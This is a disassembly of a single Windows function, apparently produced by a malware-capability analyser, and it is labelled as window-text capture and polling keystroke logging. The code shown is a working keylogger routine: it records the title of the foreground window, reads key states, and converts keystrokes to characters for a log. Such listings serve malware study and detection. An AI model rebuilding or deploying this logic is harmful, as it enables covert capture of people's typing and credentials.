Function at 0x1400060b0
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x460]
sub rsp, 0x560
mov rax, qword [0x1400840e0]
xor rax, rsp
mov qword [rbp + 0x450], rax
mov edi, ecx
xor r12d, r12d
mov dword [rbp - 0x80], r12d
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0xd0]
call fcn.14003dc40
lea rcx, [rbp + 0xd0]
call fcn.14000aae0
nop
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x30]
call fcn.14003dc40
lea rcx, [rbp - 0x30]
call fcn.14000a240
nop
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rbx, rax
mov r15d, r12d
test rax, rax
je 0x140006213
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov r15, rax
mov r8d, 0x100
lea rdx, [rbp + 0x250]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rdx, [0x140088530]
lea rcx, [rbp + 0x250]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140006213
lea rdx, [rbp + 0x250]
lea rcx, [0x140088530]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor ecx, ecx
call fcn.1400498d8
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x80]
call fcn.14004278c
mov r9, rax
lea r8, str._FT_X_z
lea edx, [r12 + 0x40]
lea rcx, [rbp + 0x1d0]
call fcn.140044e88
lea rdx, str._n_n_Window:
lea rcx, [rbp - 0x20]
call fcn.1400127f0
mov rcx, rax
lea rdx, [rbp + 0x250]
call fcn.1400127f0
mov rcx, rax
lea rdx, str.___at
call fcn.1400127f0
mov rcx, rax
lea rdx, [rbp + 0x1d0]
call fcn.1400127f0
mov rcx, rax
lea rdx, [0x1400777c0]
call fcn.1400127f0
lea rcx, [0x140084d20]
call fcn.14000bcd0
mov rdx, qword [0x1400884d8]
mov rax, qword [rdx + 8]
mov r8, rdx
movzx r9d, byte [rax + 0x19]
test r9b, r9b
jne 0x140006257
mov rcx, rax
nop word [rax + rax]
cmp dword [rcx + 0x20], edi
jge 0x14000624b
mov rcx, qword [rcx + 0x10]
jmp 0x140006251
mov r8, rcx
mov rcx, qword [rcx]
cmp byte [rcx + 0x19], 0
je 0x140006240
cmp byte [r8 + 0x19], 0
jne 0x140006542
cmp edi, dword [r8 + 0x20]
jl 0x140006542
cmp r8, rdx
je 0x140006542
test r9b, r9b
jne 0x140006297
nop word [rax + rax]
cmp dword [rax + 0x20], edi
jge 0x14000628b
mov rax, qword [rax + 0x10]
jmp 0x140006291
mov rdx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x140006280
cmp byte [rdx + 0x19], 0
jne 0x1400068d8
cmp edi, dword [rdx + 0x20]
jl 0x1400068d8
add rdx, 0x28
lea rcx, [rbp - 0x58]
call fcn.14000c680
nop
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 8
cmovae rdx, qword [rbp - 0x58]
mov r8, qword [rbp - 0x48]
lea rcx, [0x140086840]
call fcn.140016680
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 8
cmovae rdx, qword [rbp - 0x58]
mov r8, qword [rbp - 0x48]
lea rcx, [rbp - 0x20]
call fcn.140016680
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], rax
lea rcx, [rbp + 0x1d0]
call fcn.1400095f0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
mov dword [rbp - 0x80], 2
movups xmmword [rsp + 0x60], xmm0
mov rcx, r12
mov r8, qword [rbp + 0x58]
mov eax, r8d
and al, 0x22
cmp al, 2
je 0x14000639a
mov rax, qword [rbp + 0x28]
mov rdx, qword [rax]
test rdx, rdx
je 0x14000639a
mov rax, qword [rbp + 8]
mov r9, qword [rax]
cmp rdx, qword [rbp + 0x50]
cmovb rdx, qword [rbp + 0x50]
sub rdx, r9
sar rdx, 1
mov rcx, r9
jmp 0x1400063d1
test r8b, 4
jne 0x140006403
mov rax, qword [rbp + 0x20]
mov r8, qword [rax]
mov rdx, r12
test r8, r8
je 0x1400063cc
mov rax, qword [rbp]
mov r9, qword [rax]
mov rax, qword [rbp + 0x38]
movsxd rcx, dword [rax]
lea rdx, [r8 + rcx*2]
sub rdx, r9
sar rdx, 1
mov rcx, r9
jmp 0x1400063d1
mov r9, qword [rsp + 0x60]
test rcx, rcx
je 0x140006403
lea rcx, [rsp + 0x40]
cmp rdx, 7
ja 0x1400063fd
mov qword [rsp + 0x50], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call fcn.14003d5a0
mov word [rsp + rbx + 0x40], r12w
jmp 0x140006403
call fcn.140014740
nop
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r8, qword [rsp + 0x40]
mov rax, qword [rsp + 0x50]
lea r9, [r8 + rax*2]
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x1d0]
call fcn.14000efe0
nop
mov esi, 0x1000
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140006471
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, rsi
jb 0x14000646c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400068c6
call fcn.14003b660
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae rdx, qword [rbp - 0x78]
mov r8, qword [rbp - 0x68]
call fcn.140016920
lea rcx, [0x140084d20]
call fcn.14000bcd0
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x1400064e0
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, rsi
jb 0x1400064db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400068cc
call fcn.14003b660
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
lea rcx, [rbp + 0x1d0]
call fcn.140009500
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 8
jb 0x14000687d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, rsi
jb 0x140006538
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400068d2
call fcn.14003b660
jmp 0x14000687d
mov ecx, socket
call qword [sym.imp.USER32.dll_GetKeyState]
movzx r14d, ax
and r14b, 1
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
mov esi, 0x1000
test si, ax
jne 0x14000658a
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
test si, ax
jne 0x14000658a
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
test si, ax
je 0x14000658e
xor r14b, 1
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov rbx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov r8, rbx
mov edx, 2
mov ecx, edi
call qword [sym.imp.USER32.dll_MapVirtualKeyExW]
movsx edi, al
call qword [sym.imp.KERNEL32.dll_GetThreadUILanguage]
lea rdx, str.Russian
xor ecx, ecx
call fcn.140041e24
mov dword [rsp + 0x78], r12d
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x250]
call fcn.14003dc40
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
and al, 0x80
mov byte [rbp + 0x260], al
mov ecx, socket
call qword [sym.imp.USER32.dll_GetKeyState]
and al, 1
mov byte [rbp + 0x264], al
xor edx, edx
mov ecx, edi
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov edx, eax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 2
lea r9, [rsp + 0x78]
lea r8, [rbp + 0x250]
mov ecx, edi
call qword [sym.imp.USER32.dll_ToUnicodeEx]
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
lea eax, [rbx - 1]
cmp eax, 1
ja 0x14000687d
mov ebx, dword [rsp + 0x78]
movzx edx, bx
lea rcx, [0x140086840]
call fcn.140012ab0
test r14b, r14b
jne 0x14000666e
mov ecx, edi
call fcn.140045ba4
movzx edx, bx
lea rcx, [rbp - 0x20]
call fcn.140012ab0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], rax
lea rcx, [rbp + 0x1d0]
call fcn.1400095f0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
mov dword [rbp - 0x80], 0x10
movups xmmword [rsp + 0x60], xmm0
mov rcx, r12
mov r8, qword [rbp + 0x58]
mov eax, r8d
and al, 0x22
cmp al, 2
je 0x140006723
mov rax, qword [rbp + 0x28]
mov rdx, qword [rax]
test rdx, rdx
je 0x140006723
mov rax, qword [rbp + 8]
mov r9, qword [rax]
cmp rdx, qword [rbp + 0x50]
cmovb rdx, qword [rbp + 0x50]
sub rdx, r9
sar rdx, 1
mov rcx, r9
jmp 0x14000675a
test r8b, 4
jne 0x14000678c
mov rax, qword [rbp + 0x20]
mov r8, qword [rax]
mov rdx, r12
test r8, r8
je 0x140006755
mov rax, qword [rbp]
mov r9, qword [rax]
mov rax, qword [rbp + 0x38]
movsxd rcx, dword [rax]
lea rdx, [r8 + rcx*2]
sub rdx, r9
sar rdx, 1
mov rcx, r9
jmp 0x14000675a
mov r9, qword [rsp + 0x60]
test rcx, rcx
je 0x14000678c
lea rcx, [rsp + 0x40]
cmp rdx, 7
ja 0x140006786
mov qword [rsp + 0x50], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call fcn.14003d5a0
mov word [rsp + rbx + 0x40], r12w
jmp 0x14000678c
call fcn.140014740
nop
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r8, qword [rsp + 0x40]
mov rax, qword [rsp + 0x50]
lea r9, [r8 + rax*2]
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x1d0]
call fcn.14000efe0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400067f5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, rsi
jb 0x1400067f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400068e5
call fcn.14003b660
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae rdx, qword [rbp - 0x78]
mov r8, qword [rbp - 0x68]
call fcn.140016920
lea rcx, [0x140084d20]
call fcn.14000bcd0
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140006860
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, rsi
jb 0x14000685b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400068c0
call fcn.14003b660
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
lea rcx, [rbp + 0x1d0]
call fcn.140009500
nop
lea rcx, [rbp - 0x30]
call fcn.1400069e0
nop
lea rcx, [rbp + 0xd0]
call fcn.1400068f0
xor eax, eax
mov rcx, qword [rbp + 0x450]
xor rcx, rsp
call fcn.14003b640
lea r11, [rsp + 0x560]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.14004aff0
nop
call fcn.14004aff0
nop
call fcn.14004aff0
nop
call fcn.14004aff0
int3
lea rcx, str.invalid_map_K__T__key
call fcn.140018230
nop
call fcn.14004aff0
int3